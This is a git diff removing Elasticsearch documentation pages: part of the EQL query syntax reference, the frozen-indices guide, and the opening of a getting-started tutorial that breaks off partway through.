-This applies even if the fields are changed using a <<eql-functions,function>>.
-
-*Example* +
-The following EQL query compares the `process.parent_name` field
-value to a static value, `foo`. This comparison is supported.
-
-However, the query also compares the `process.parent.name` field value to the
-`process.name` field. This comparison is not supported and will return an
-error for the entire query.
-
-[source,eql]
-----
-process where process.parent.name == "foo" and process.parent.name == process.name
-----
-
-Instead, you can rewrite the query to compare both the `process.parent.name`
-and `process.name` fields to static values.
-
-[source,eql]
-----
-process where process.parent.name == "foo" and process.name == "foo"
-----
-
-[discrete]
-[[eql-syntax-logical-operators]]
-=== Logical operators
-
-[source,eql]
-----
-and  or  not
-----
-
-`and`::
-Returns `true` only if the condition to the left and right _both_ return `true`.
-Otherwise returns `false`.
-
-`or`::
-Returns `true` if one of the conditions to the left or right `true`.
-Otherwise returns `false`.
-
-`not`::
-Returns `true` if the condition to the right is `false`.
-
-[discrete]
-[[eql-syntax-lookup-operators]]
-=== Lookup operators
-
-[source,eql]
-----
-user.name in ("Administrator", "SYSTEM", "NETWORK SERVICE")
-user.name not in ("Administrator", "SYSTEM", "NETWORK SERVICE")
-----
-
-`in` (case-sensitive)::
-Returns `true` if the value is contained in the provided list. For strings,
-matching is case-sensitive.
-
-`not in` (case-sensitive)::
-Returns `true` if the value is not contained in the provided list. For strings,
-matching is case-sensitive.
-
-[discrete]
-[[eql-syntax-math-operators]]
-=== Math operators
-
-[source,eql]
-----
-+  -  *  /  %
-----
-
-`+` (add)::
-Adds the values to the left and right of the operator.
-
-`-` (subtract)::
-Subtracts the value to the right of the operator from the value to the left.
-
-`*` (multiply)::
-Multiplies the values to the left and right of the operator.
-
-`/` (divide)::
-Divides the value to the left of the operator by the value to the right.
-+
-[[eql-divide-operator-float-rounding]]
-[WARNING]
-====
-If both the dividend and divisor are integers, the divide (`\`) operation
-_rounds down_ any returned floating point numbers to the nearest integer. To
-avoid rounding, convert either the dividend or divisor to a float.
-
-*Example* +
-The `process.args_count` field is a <<number,`long`>> integer field containing a
-count of process arguments.
-
-A user might expect the following EQL query to only match events with a
-`process.args_count` value of `4`.
-
-[source,eql]
-----
-process where ( 4 / process.args_count ) == 1
-----
-
-However, the EQL query matches events with a `process.args_count` value of `3`
-or `4`.
-
-For events with a `process.args_count` value of `3`, the divide operation
-returns a float of `1.333...`, which is rounded down to `1`.
-
-To match only events with a `process.args_count` value of `4`, convert
-either the dividend or divisor to a float.
-
-The following EQL query changes the integer `4` to the equivalent float `4.0`.
-
-[source,eql]
-----
-process where ( 4.0 / process.args_count ) == 1
-----
-====
-
-`%` (modulo)::
-Divides the value to the left of the operator by the value to the right. Returns only the remainder.
-
-[discrete]
-[[eql-syntax-match-any-condition]]
-=== Match any condition
-
-To match events solely on event category, use the `where true` condition.
-
-For example, the following EQL query matches any `file` events:
-
-[source,eql]
-----
-file where true
-----
-
-To match any event, you can combine the `any` keyword with the `where true`
-condition:
-
-[source,eql]
-----
-any where true
-----
-
-[discrete]
-[[eql-syntax-strings]]
-=== Strings
-
-Strings are enclosed in double quotes (`"`).
-
-[source,eql]
-----
-"hello world"
-----
-
-Strings enclosed in single quotes (`'`) are not supported.
-
-[discrete]
-[[eql-syntax-escape-characters]]
-=== Escape characters in a string
-
-When used within a string, special characters, such as a carriage return or
-double quote (`"`), must be escaped with a preceding backslash (`\`).
-
-[source,eql]
-----
-"example \r of \" escaped \n characters"
-----
-
-[options="header"]
-|====
-| Escape sequence | Literal character
-|`\n`             | A newline (linefeed) character
-|`\r`             | A carriage return character
-|`\t`             | A tab character
-|`\\`             | A backslash (`\`) character
-|`\"`             | A double quote (`"`) character
-|====
-
-IMPORTANT: The single quote (`'`) character is reserved for future use. You
-cannot use an escaped single quote (`\'`) for literal strings. Use an escaped
-double quote (`\"`) instead.
-
-[discrete]
-[[eql-syntax-raw-strings]]
-=== Raw strings
-
-Raw strings treat special characters, such as backslashes (`\`), as literal
-characters. Raw strings are enclosed in three double quotes (`"""`).
-
-[source,eql]
-----
-"""Raw string with a literal double quote " and blackslash \ included"""
-----
-
-A raw string cannot contain three consecutive double quotes (`"""`). Instead,
-use a regular string with the `\"` escape sequence.
-
-[source,eql]
-----
-"String containing \"\"\" three double quotes"
-----
-
-[discrete]
-[[eql-sequences]]
-=== Sequences
-
-You can use EQL sequences to describe and match an ordered series of events.
-Each item in a sequence is an event category and event condition,
-surrounded by square brackets (`[ ]`). Events are listed in ascending
-chronological order, with the most recent event listed last.
-
-[source,eql]
-----
-sequence
-  [ event_category_1 where condition_1 ]
-  [ event_category_2 where condition_2 ]
-  ...
-----
-
-*Example* +
-The following EQL sequence query matches this series of ordered events:
-
-. Start with an event with:
-+
---
-* An event category of `file`
-* A `file.extension` of `exe`
---
-. Followed by an event with an event category of `process`
-
-[source,eql]
-----
-sequence
-  [ file where file.extension == "exe" ]
-  [ process where true ]
-----
-
-[discrete]
-[[eql-with-maxspan-keywords]]
-=== `with maxspan` keywords
-
-You can use the `with maxspan` keywords to constrain a sequence to a specified
-timespan. All events in a matching sequence must occur within this duration,
-starting at the first event's timestamp.
-
-The `maxspan` keyword accepts <<time-units,time value>> arguments.
-
-[source,eql]
-----
-sequence with maxspan=30s
-  [ event_category_1 where condition_1 ] by field_baz
-  [ event_category_2 where condition_2 ] by field_bar
-  ...
-----
-
-*Example* +
-The following sequence query uses a `maxspan` value of `15m` (15 minutes).
-Events in a matching sequence must occur within 15 minutes of the first event's
-timestamp.
-
-[source,eql]
-----
-sequence with maxspan=15m
-  [ file where file.extension == "exe" ]
-  [ process where true ]
-----
-
-[discrete]
-[[eql-by-keyword]]
-=== `by` keyword
-
-You can use the `by` keyword with sequences to only match events that share the
-same field values. If a field value should be shared across all events, you
-can use `sequence by`.
-
-[source,eql]
-----
-sequence by field_foo
-  [ event_category_1 where condition_1 ] by field_baz
-  [ event_category_2 where condition_2 ] by field_bar
-  ...
-----
-
-*Example* +
-The following sequence query uses the `by` keyword to constrain matching events
-to:
-
-* Events with the same `user.name` value
-* `file` events with a `file.path` value equal to the following `process`
-   event's `process.path` value.
-
-[source,eql]
-----
-sequence
-  [ file where file.extension == "exe" ] by user.name, file.path
-  [ process where true ] by user.name, process.path
-----
-
-Because the `user.name` field is shared across all events in the sequence, it
-can be included using `sequence by`. The following sequence is equivalent to the
-prior one.
-
-[source,eql]
-----
-sequence by user.name
-  [ file where file.extension == "exe" ] by file.path
-  [ process where true ] by process.path
-----
-
-You can combine the `sequence by` and `with maxspan` keywords to constrain a
-sequence by both field values and a timespan.
-
-[source,eql]
-----
-sequence by field_foo with maxspan=30s
-  [ event_category_1 where condition_1 ] by field_baz
-  [ event_category_2 where condition_2 ] by field_bar
-  ...
-----
-
-*Example* +
-The following sequence query uses the `sequence by` keyword and `with maxspan`
-keywords to match only a sequence of events that:
-
-* Share the same `user.name` field values
-* Occur within `15m` (15 minutes) of the first matching event
-
-[source,eql]
-----
-sequence by user.name with maxspan=15m
-  [ file where file.extension == "exe" ] by file.path
-  [ process where true ] by process.path
-----
-
-[discrete]
-[[eql-until-keyword]]
-=== `until` keyword
-
-You can use the `until` keyword to specify an expiration event for a sequence.
-If this expiration event occurs _between_ matching events in a sequence, the
-sequence expires and is not considered a match. If the expiration event occurs
-_after_ matching events in a sequence, the sequence is still considered a
-match. The expiration event is not included in the results.
-
-[source,eql]
-----
-sequence
-  [ event_category_1 where condition_1 ]
-  [ event_category_2 where condition_2 ]
-  ...
-until [ event_category_3 where condition_3 ]
-----
-
-*Example* +
-A dataset contains the following event sequences, grouped by shared IDs:
-
-[source,txt]
-----
-A, B
-A, B, C
-A, C, B
-----
-
-The following EQL query searches the dataset for sequences containing
-event `A` followed by event `B`. Event `C` is used as an expiration event.
-
-[source,eql]
-----
-sequence by ID
-  A
-  B
-until C
-----
-
-The query matches sequences `A, B` and `A, B, C` but not `A, C, B`.
-
-[TIP]
-====
-The `until` keyword can be useful when searching for process sequences in
-Windows event logs.
-
-In Windows, a process ID (PID) is unique only while a process is running. After
-a process terminates, its PID can be reused.
-
-You can search for a sequence of events with the same PID value using the `by`
-and `sequence by` keywords.
-
-*Example* +
-The following EQL query uses the `sequence by` keyword to match a
-sequence of events that share the same `process.pid` value.
-
-[source,eql]
-----
-sequence by process.pid
-  [ process where event.type == "start" and process.name == "cmd.exe" ]
-  [ process where file.extension == "exe" ]
-----
-
-However, due to PID reuse, this can result in a matching sequence that
-contains events across unrelated processes. To prevent false positives, you can
-use the `until` keyword to end matching sequences before a process termination
-event.
-
-The following EQL query uses the `until` keyword to end sequences before
-`process` events with an `event.type` of `stop`. These events indicate a process
-has been terminated.
-
-[source,eql]
-----
-sequence by process.pid
-  [ process where event.type == "start" and process.name == "cmd.exe" ]
-  [ process where file.extension == "exe" ]
-until [ process where event.type == "stop" ]
-----
-====
-
-[discrete]
-[[eql-functions]]
-=== Functions
-
-You can use EQL functions to convert data types, perform math, manipulate
-strings, and more. Most functions are case-sensitive by default.
-
-For a list of supported functions, see <<eql-function-ref>>.
-
-[TIP]
-====
-Using functions in EQL queries can result in slower search speeds. If you
-often use functions to transform indexed data, you can speed up search by making
-these changes during indexing instead. However, that often means slower index
-speeds.
-
-*Example* +
-An index contains the `file.path` field. `file.path` contains the full path to a
-file, including the file extension.
-
-When running EQL searches, users often use the `endsWith` function with the
-`file.path` field to match file extensions:
-
-[source,eql]
-----
-file where endsWith(file.path,".exe") or endsWith(file.path,".dll")
-----
-
-While this works, it can be repetitive to write and can slow search speeds. To
-speed up search, you can do the following instead:
-
-. <<indices-put-mapping,Add a new field>>, `file.extension`, to the index. The
-  `file.extension` field will contain only the file extension from the
-  `file.path` field.
-. Use an <<ingest,ingest pipeline>> containing the <<grok-processor,`grok`>>
-  processor or another preprocessor tool to extract the file extension from the
-  `file.path` field before indexing.
-. Index the extracted file extension to the `file.extension` field.
-
-These changes may slow indexing but allow for faster searches. Users
-can use the `file.extension` field instead of multiple `endsWith` function
-calls:
-
-[source,eql]
-----
-file where file.extension in ("exe", "dll")
-----
-
-We recommend testing and benchmarking any indexing changes before deploying them
-in production. See <<tune-for-indexing-speed>> and <<tune-for-search-speed>>.
-====
-
-[discrete]
-[[eql-pipes]]
-=== Pipes
-
-EQL pipes filter, aggregate, and post-process events returned by
-an EQL query. You can use pipes to narrow down EQL query results or make them
-more specific.
-
-Pipes are delimited using the pipe (`|`) character.
-
-[source,eql]
-----
-event_category where condition | pipe
-----
-
-*Example* +
-The following EQL query uses the `tail` pipe to return only the 10 most recent
-events matching the query.
-
-[source,eql]
-----
-authentication where agent.id == 4624
-| tail 10
-----
-
-You can pass the output of a pipe to another pipe. This lets you use multiple
-pipes with a single query.
-
-For a list of supported pipes, see <<eql-pipe-ref>>.
-
-[discrete]
-[[eql-syntax-limitations]]
-=== Limitations
-
-EQL does not support the following features and syntax.
-
-[discrete]
-[[eql-compare-fields]]
-==== Comparing fields
-
-You cannot use EQL comparison operators to compare a field to
-another field. This applies even if the fields are changed using a
-<<eql-functions,function>>.
-
-[discrete]
-[[eql-array-fields]]
-==== Array field values are not supported
-
-EQL does not support <<array,array>> field values, also known as
-multi-value fields. EQL searches on array field values may return inconsistent
-results.
-
-[discrete]
-[[eql-nested-fields]]
-==== EQL search on nested fields
-
-You cannot use EQL to search the values of a <<nested,`nested`>> field or the
-sub-fields of a `nested` field. However, data streams and indices containing
-`nested` field mappings are otherwise supported.
-
-[discrete]
-[[eql-unsupported-syntax]]
-==== Differences from Endgame EQL syntax
-
-{es} EQL differs from the {eql-ref}/index.html[Elastic Endgame EQL syntax] as
-follows:
-
-* Most operators and functions in {es} EQL are case-sensitive. For
-case-insensitive equality comparisons, use the `:` operator.
-
-* Comparisons using the `==` and `!=` operators do not expand wildcard
-characters. For example, `process_name == "cmd*.exe"` interprets `*` as a
-literal asterisk, not a wildcard. For case-sensitive wildcard matching, use the
-<<eql-fn-wildcard,`wildcard`>> function.
-
-* `=` cannot be substituted for the `==` operator.
-
-* Strings enclosed in single quotes (`'`) are not supported. Enclose strings in
-double quotes (`"`) instead.
-
-* `?"` and `?'` do not indicate raw strings. Enclose raw strings in
-three double quotes (`"""`) instead.
-
-* {es} EQL does not support:
-
-** Array functions:
-*** {eql-ref}/functions.html#arrayContains[`arrayContains`]
-*** {eql-ref}/functions.html#arrayCount[`arrayCount`]
-*** {eql-ref}/functions.html#arraySearch[`arraySearch`]
-
-** The {eql-ref}//functions.html#match[`match`] function
-
-** {eql-ref}/joins.html[Joins]
-
-** {eql-ref}/basic-syntax.html#event-relationships[Lineage-related keywords]:
-*** `child of`
-*** `descendant of`
-*** `event of`
-
-** The following {eql-ref}/pipes.html[pipes]:
-*** {eql-ref}/pipes.html#count[`count`]
-*** {eql-ref}/pipes.html#filter[`filter`]
-*** {eql-ref}/pipes.html#sort[`sort`]
-*** {eql-ref}/pipes.html#unique[`unique`]
-*** {eql-ref}/pipes.html#unique-count[`unique_count`]
-
-[discrete]
-[[eql-how-sequence-queries-handle-matches]]
-==== How sequence queries handle matches
-
-<<eql-sequences,Sequence queries>> don't find all potential matches for a
-sequence. This approach would be too slow and costly for large event data sets.
-Instead, a sequence query handles pending sequence matches as a
-{wikipedia}/Finite-state_machine[state machine]:
-
-* Each event item in the sequence query is a state in the machine.
-* Only one pending sequence can be in each state at a time.
-* If two pending sequences are in the same state at the same time, the most
-recent sequence overwrites the older one.
-* If the query includes <<eql-by-keyword,`by` fields>>, the query uses a
-separate state machine for each unique `by` field value.
-
-.*Example* 
-[%collapsible]
-====
-A data set contains the following `process` events in ascending chronological
-order:
-
-[source,js]
-----
-{ "index" : { "_id": "1" } }
-{ "user": { "name": "root" }, "process": { "name": "attrib" }, ...}
-{ "index" : { "_id": "2" } }
-{ "user": { "name": "root" }, "process": { "name": "attrib" }, ...}
-{ "index" : { "_id": "3" } }
-{ "user": { "name": "elkbee" }, "process": { "name": "bash" }, ...}
-{ "index" : { "_id": "4" } }
-{ "user": { "name": "root" }, "process": { "name": "bash" }, ...}
-{ "index" : { "_id": "5" } }
-{ "user": { "name": "root" }, "process": { "name": "bash" }, ...}
-{ "index" : { "_id": "6" } }
-{ "user": { "name": "elkbee" }, "process": { "name": "attrib" }, ...}
-{ "index" : { "_id": "7" } }
-{ "user": { "name": "root" }, "process": { "name": "attrib" }, ...}
-{ "index" : { "_id": "8" } }
-{ "user": { "name": "elkbee" }, "process": { "name": "bash" }, ...}
-{ "index" : { "_id": "9" } }
-{ "user": { "name": "root" }, "process": { "name": "cat" }, ...}
-{ "index" : { "_id": "10" } }
-{ "user": { "name": "elkbee" }, "process": { "name": "cat" }, ...}
-{ "index" : { "_id": "11" } }
-{ "user": { "name": "root" }, "process": { "name": "cat" }, ...}
-----
-// NOTCONSOLE
-
-An EQL sequence query searches the data set:
-
-[source,eql]
-----
-sequence by user.name
-  [process where process.name == "attrib"]
-  [process where process.name == "bash"]
-  [process where process.name == "cat"]
-----
-
-The query's event items correspond to the following states:
-
-* State A:  `[process where process.name == "attrib"]`
-* State B:  `[process where process.name == "bash"]`
-* Complete: `[process where process.name == "cat"]`
-
-image::images/eql/sequence-state-machine.svg[align="center"]
-
-To find matching sequences, the query uses separate state machines for each
-unique `user.name` value. Based on the data set, you can expect two state
-machines: one for the `root` user and one for `elkbee`.
-
-image::images/eql/separate-state-machines.svg[align="center"]
-
-Pending sequence matches move through each machine's states as follows:
-
-[source,txt]
-----
-{ "index" : { "_id": "1" } }
-{ "user": { "name": "root" }, "process": { "name": "attrib" }, ...}
-// Creates sequence [1] in state A for the "root" user.
-//
-// +------------------------"root"------------------------+
-// |  +-----------+     +-----------+     +------------+  |
-// |  |  State A  |     |  State B  |     |  Complete  |  |
-// |  +-----------+     +-----------+     +------------+  |
-// |  |    [1]    |     |           |     |            |  |
-// |  +-----------+     +-----------+     +------------+  |
-// +------------------------------------------------------+
-
-{ "index" : { "_id": "2" } }
-{ "user": { "name": "root" }, "process": { "name": "attrib" }, ...}
-// Creates sequence [2] in state A for "root", overwriting sequence [1].
-//
-// +------------------------"root"------------------------+
-// |  +-----------+     +-----------+     +------------+  |
-// |  |  State A  |     |  State B  |     |  Complete  |  |
-// |  +-----------+     +-----------+     +------------+  |
-// |  |    [2]    |     |           |     |            |  |
-// |  +-----------+     +-----------+     +------------+  |
-// +------------------------------------------------------+
-
-{ "index" : { "_id": "3" } }
-{ "user": { "name": "elkbee" }, "process": { "name": "bash" }, ...}
-// Nothing happens. The "elkbee" user has no pending sequence to move
-// from state A to state B.
-//
-// +-----------------------"elkbee"-----------------------+
-// |  +-----------+     +-----------+     +------------+  |
-// |  |  State A  |     |  State B  |     |  Complete  |  |
-// |  +-----------+     +-----------+     +------------+  |
-// |  |           |     |           |     |            |  |
-// |  +-----------+     +-----------+     +------------+  |
-// +------------------------------------------------------+
-
-{ "index" : { "_id": "4" } }
-{ "user": { "name": "root" }, "process": { "name": "bash" }, ...}
-// Sequence [2] moves out of state A for "root".
-// State B for "root" now contains [2, 4].
-// State A for "root" is empty.
-//
-// +------------------------"root"------------------------+
-// |  +-----------+     +-----------+     +------------+  |
-// |  |  State A  |     |  State B  |     |  Complete  |  |
-// |  +-----------+ --> +-----------+     +------------+  |
-// |  |           |     |   [2, 4]  |     |            |  |
-// |  +-----------+     +-----------+     +------------+  |
-// +------------------------------------------------------+
-
-{ "index" : { "_id": "5" } }
-{ "user": { "name": "root" }, "process": { "name": "bash" }, ...}
-// Nothing happens. State A is empty for "root".
-//
-// +------------------------"root"------------------------+
-// |  +-----------+     +-----------+     +------------+  |
-// |  |  State A  |     |  State B  |     |  Complete  |  |
-// |  +-----------+     +-----------+     +------------+  |
-// |  |           |     |   [2, 4]  |     |            |  |
-// |  +-----------+     +-----------+     +------------+  |
-// +------------------------------------------------------+
-
-{ "index" : { "_id": "6" } }
-{ "user": { "name": "elkbee" }, "process": { "name": "attrib" }, ...}
-// Creates sequence [6] in state A for "elkbee".
-//
-// +-----------------------"elkbee"-----------------------+
-// |  +-----------+     +-----------+     +------------+  |
-// |  |  State A  |     |  State B  |     |  Complete  |  |
-// |  +-----------+     +-----------+     +------------+  |
-// |  |    [6]    |     |           |     |            |  |
-// |  +-----------+     +-----------+     +------------+  |
-// +------------------------------------------------------+
-
-{ "index" : { "_id": "7" } }
-{ "user": { "name": "root" }, "process": { "name": "attrib" }, ...}
-// Creates sequence [7] in state A for "root".
-// Sequence [2, 4] remains in state B for "root".
-//
-// +------------------------"root"------------------------+
-// |  +-----------+     +-----------+     +------------+  |
-// |  |  State A  |     |  State B  |     |  Complete  |  |
-// |  +-----------+     +-----------+     +------------+  |
-// |  |    [7]    |     |   [2, 4]  |     |            |  |
-// |  +-----------+     +-----------+     +------------+  |
-// +------------------------------------------------------+
-
-{ "index" : { "_id": "8" } }
-{ "user": { "name": "elkbee" }, "process": { "name": "bash" }, ...}
-// Sequence [6, 8] moves to state B for "elkbee".
-// State A for "elkbee" is now empty.
-//
-// +-----------------------"elkbee"-----------------------+
-// |  +-----------+     +-----------+     +------------+  |
-// |  |  State A  |     |  State B  |     |  Complete  |  |
-// |  +-----------+ --> +-----------+     +------------+  |
-// |  |           |     |   [6, 8]  |     |            |  |
-// |  +-----------+     +-----------+     +------------+  |
-// +------------------------------------------------------+
-
-{ "index" : { "_id": "9" } }
-{ "user": { "name": "root" }, "process": { "name": "cat" }, ...}
-// Sequence [2, 4, 9] is complete for "root".
-// State B for "root" is now empty.
-// Sequence [7] remains in state A.
-//
-// +------------------------"root"------------------------+
-// |  +-----------+     +-----------+     +------------+  |
-// |  |  State A  |     |  State B  |     |  Complete  |  |
-// |  +-----------+     +-----------+ --> +------------+  |
-// |  |    [7]    |     |           |     |  [2, 4, 9] |
-// |  +-----------+     +-----------+     +------------+  |
-// +------------------------------------------------------+
-
-{ "index" : { "_id": "10" } }
-{ "user": { "name": "elkbee" }, "process": { "name": "cat" }, ...}
-// Sequence [6, 8, 10] is complete for "elkbee".
-// State A and B for "elkbee" are now empty.
-//
-// +-----------------------"elkbee"-----------------------+
-// |  +-----------+     +-----------+     +------------+  |
-// |  |  State A  |     |  State B  |     |  Complete  |  |
-// |  +-----------+     +-----------+ --> +------------+  |
-// |  |           |     |           |     | [6, 8, 10] |
-// |  +-----------+     +-----------+     +------------+  |
-// +------------------------------------------------------+
-
-{ "index" : { "_id": "11" } }
-{ "user": { "name": "root" }, "process": { "name": "cat" }, ...}
-// Nothing happens.
-// The machines for "root" and "elkbee" remain the same.
-//
-// +------------------------"root"------------------------+
-// |  +-----------+     +-----------+     +------------+  |
-// |  |  State A  |     |  State B  |     |  Complete  |  |
-// |  +-----------+     +-----------+     +------------+  |
-// |  |    [7]    |     |           |     |  [2, 4, 9] |
-// |  +-----------+     +-----------+     +------------+  |
-// +------------------------------------------------------+
-//
-// +-----------------------"elkbee"-----------------------+
-// |  +-----------+     +-----------+     +------------+  |
-// |  |  State A  |     |  State B  |     |  Complete  |  |
-// |  +-----------+     +-----------+     +------------+  |
-// |  |           |     |           |     | [6, 8, 10] |
-// |  +-----------+     +-----------+     +------------+  |
-// +------------------------------------------------------+
-----
-
-====
diff --git a/docs/reference/frozen-indices.asciidoc b/docs/reference/frozen-indices.asciidoc
deleted file mode 100644
index 3922fc18dff..00000000000
--- a/docs/reference/frozen-indices.asciidoc
+++ /dev/null
@@ -1,110 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[frozen-indices]]
-= Frozen indices
-
-[partintro]
---
-{es} indices keep some data structures in memory to allow you to search them
-efficiently and to index into them. If you have a lot of indices then the
-memory required for these data structures can add up to a significant amount.
-For indices that are searched frequently it is better to keep these structures
-in memory because it takes time to rebuild them. However, you might access some
-of your indices so rarely that you would prefer to release the corresponding
-memory and rebuild these data structures on each search.
-
-For example, if you are using time-based indices to store log messages or time
-series data then it is likely that older indices are searched much less often
-than the more recent ones. Older indices also receive no indexing requests.
-Furthermore, it is usually the case that searches of older indices are for
-performing longer-term analyses for which a slower response is acceptable.
-
-If you have such indices then they are good candidates for becoming _frozen
-indices_. {es} builds the transient data structures of each shard of a frozen
-index each time that shard is searched, and discards these data structures as
-soon as the search is complete. Because {es} does not maintain these transient
-data structures in memory, frozen indices consume much less heap than normal
-indices. This allows for a much higher disk-to-heap ratio than would otherwise
-be possible.
-
-You can freeze the index using the <<freeze-index-api, Freeze Index API>>.
-
-Searches performed on frozen indices use the small, dedicated,
-<<search-throttled,`search_throttled` threadpool>> to control the number of
-concurrent searches that hit frozen shards on each node. This limits the amount
-of extra memory required for the transient data structures corresponding to
-frozen shards, which consequently protects nodes against excessive memory
-consumption.
-
-Frozen indices are read-only: you cannot index into them.
-
-Searches on frozen indices are expected to execute slowly. Frozen indices are
-not intended for high search load. It is possible that a search of a frozen
-index may take seconds or minutes to complete, even if the same searches
-completed in milliseconds when the indices were not frozen.
-
-To make a frozen index writable again, use the <<unfreeze-index-api, Unfreeze Index API>>.
-
---
-
-[role="xpack"]
-[testenv="basic"]
-[[best_practices]]
-== Best practices
-
-Since frozen indices provide a much higher disk to heap ratio at the expense of search latency, it is advisable to allocate frozen indices to
-dedicated nodes to prevent searches on frozen indices influencing traffic on low latency nodes. There is significant overhead in loading
-data structures on demand which can cause page faults and garbage collections, which further slow down query execution.
-
-Since indices that are eligible for freezing are unlikely to change in the future, disk space can be optimized as described in <<tune-for-disk-usage>>.
-
-It's highly recommended to <<indices-forcemerge,`_forcemerge`>> your indices prior to freezing to ensure that each shard has only a single
-segment on disk. This not only provides much better compression but also simplifies the data structures needed to service aggregation
-or sorted search requests.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_forcemerge?max_num_segments=1
---------------------------------------------------
-// TEST[setup:my_index]
-
-[role="xpack"]
-[testenv="basic"]
-[[searching_a_frozen_index]]
-== Searching a frozen index
-
-Frozen indices are throttled in order to limit memory consumptions per node. The number of concurrently loaded frozen indices per node is
-limited by the number of threads in the <<search-throttled,search_throttled>> threadpool,  which is `1` by default.
-Search requests will not be executed against frozen indices by default, even if a frozen index is named explicitly. This is
-to prevent accidental slowdowns by targeting a frozen index by mistake. To include frozen indices a search request must be executed with
-the query parameter `ignore_throttled=false`.
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_search?q=user.id:kimchy&ignore_throttled=false
---------------------------------------------------
-// TEST[setup:my_index]
-
-[role="xpack"]
-[testenv="basic"]
-[[monitoring_frozen_indices]]
-== Monitoring frozen indices
-
-Frozen indices are ordinary indices that use search throttling and a memory efficient shard implementation. For API's like the
-<<cat-indices>> frozen indices may identified by an index's `search.throttled` property (`sth`).
-
-[source,console]
---------------------------------------------------
-GET /_cat/indices/my-index-000001?v=true&h=i,sth
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\nPOST my-index-000001\/_freeze\n/]
-
-The response looks like:
-
-[source,txt]
---------------------------------------------------
-i                 sth
-my-index-000001   true
---------------------------------------------------
-// TESTRESPONSE[non_json]
-
diff --git a/docs/reference/getting-started.asciidoc b/docs/reference/getting-started.asciidoc
deleted file mode 100755
index 004e6e70f8e..00000000000
--- a/docs/reference/getting-started.asciidoc
+++ /dev/null
@@ -1,745 +0,0 @@
-[[getting-started]]
-= Getting started with {es}
-
-[partintro]
---
-Ready to take {es} for a test drive and see for yourself how you can use the
-REST APIs to store, search, and analyze data?
-
-Step through this getting started tutorial to:
-
-. Get an {es} cluster up and running
-. Index some sample documents
-. Search for documents using the {es} query language
-. Analyze the results using bucket and metrics aggregations
-
-
-Need more context?
-
-Check out the <<elasticsearch-intro,
-{es} Introduction>> to learn the lingo and understand the basics of
-how {es} works. If you're already familiar with {es} and want to see how it works
-with the rest of the stack, you might want to jump to the
-{stack-gs}/get-started-elastic-stack.html[Elastic Stack
-Tutorial] to see how to set up a system monitoring solution with {es}, {kib},
-{beats}, and {ls}.
-
-TIP: The fastest way to get started with {es} is to
-{ess-trial}[start a free 14-day
-trial of {ess}] in the cloud.
---
-
-[[getting-started-install]]
-== Get {es} up and running
-
-To take {es} for a test drive, you can create a 
-{ess-trial}[hosted deployment]  on 
-the {ess} or set up a multi-node {es} cluster on your own
-Linux, macOS, or Windows machine.
-
-[discrete]
-[[run-elasticsearch-hosted]]
-=== Run {es} on Elastic Cloud
-
-When you create a deployment on the {es} Service, the service provisions
-a three-node {es} cluster along with Kibana and APM.
-
-To create a deployment:
-
-. Sign up for a {ess-trial}[free trial] 
-and verify your email address.
-. Set a password for your account.
-. Click **Create Deployment**.
-
-Once you've created a deployment, you're ready to <<getting-started-index>>.
-
-[discrete]
-[[run-elasticsearch-local]]
-=== Run {es} locally on Linux, macOS, or Windows
-
-When you create a deployment on the {ess}, a master node and
-two data nodes are provisioned automatically. By installing from the tar or zip 
-archive, you can start multiple instances of {es} locally to see how a multi-node 
-cluster behaves.
-
-To run a three-node {es} cluster locally:
-
-. Download the {es} archive for your OS:
-+
-Linux: https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-linux-x86_64.tar.gz[elasticsearch-{version}-linux-x86_64.tar.gz]
-+
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-curl -L -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-linux-x86_64.tar.gz
---------------------------------------------------
-// NOTCONSOLE
-+
-macOS: https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-darwin-x86_64.tar.gz[elasticsearch-{version}-darwin-x86_64.tar.gz]
-+
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-curl -L -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-darwin-x86_64.tar.gz
---------------------------------------------------
-// NOTCONSOLE
-+
-Windows:
-https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-windows-x86_64.zip[elasticsearch-{version}-windows-x86_64.zip]
-
-. Extract the archive:
-+
-Linux:
-+
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-tar -xvf elasticsearch-{version}-linux-x86_64.tar.gz
---------------------------------------------------
-+
-macOS:
-+
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-tar -xvf elasticsearch-{version}-darwin-x86_64.tar.gz
---------------------------------------------------
-+
-Windows PowerShell:
-+
-["source","powershell",subs="attributes,callouts"]
---------------------------------------------------
-Expand-Archive elasticsearch-{version}-windows-x86_64.zip
---------------------------------------------------
-
-. Start {es} from the `bin` directory:
-+
-Linux and macOS:
-+
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-cd elasticsearch-{version}/bin
-./elasticsearch
---------------------------------------------------
-+
-Windows:
-+
-["source","powershell",subs="attributes,callouts"]
---------------------------------------------------
-cd elasticsearch-{version}\bin
-.\elasticsearch.bat
---------------------------------------------------
-+
-You now have a single-node {es} cluster up and running!
-
-. Start two more instances of {es} so you can see how a typical multi-node
-cluster behaves. You need to specify unique data and log paths
-for each node.
-+
-Linux and macOS:
-+
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-./elasticsearch -Epath.data=data2 -Epath.logs=log2
-./elasticsearch -Epath.data=data3 -Epath.logs=log3
---------------------------------------------------
-+
-Windows:
-+
-["source","powershell",subs="attributes,callouts"]
---------------------------------------------------
-.\elasticsearch.bat -E path.data=data2 -E path.logs=log2
-.\elasticsearch.bat -E path.data=data3 -E path.logs=log3
---------------------------------------------------
-+
-The additional nodes are assigned unique IDs. Because you're running all three
-nodes locally, they automatically join the cluster with the first node.
-
-. Use the cat health API to verify that your three-node cluster is up running.
-The cat APIs return information about your cluster and indices in a
-format that's easier to read than raw JSON.
-+
-You can interact directly with your cluster by submitting HTTP requests to
-the {es} REST API. If you have Kibana installed and running, you can also
-open Kibana and submit requests through the Dev Console.
-+
-TIP: You'll want to check out the
-https://www.elastic.co/guide/en/elasticsearch/client/index.html[{es} language
-clients] when you're ready to start using {es} in your own applications.
-+
-[source,console]
---------------------------------------------------
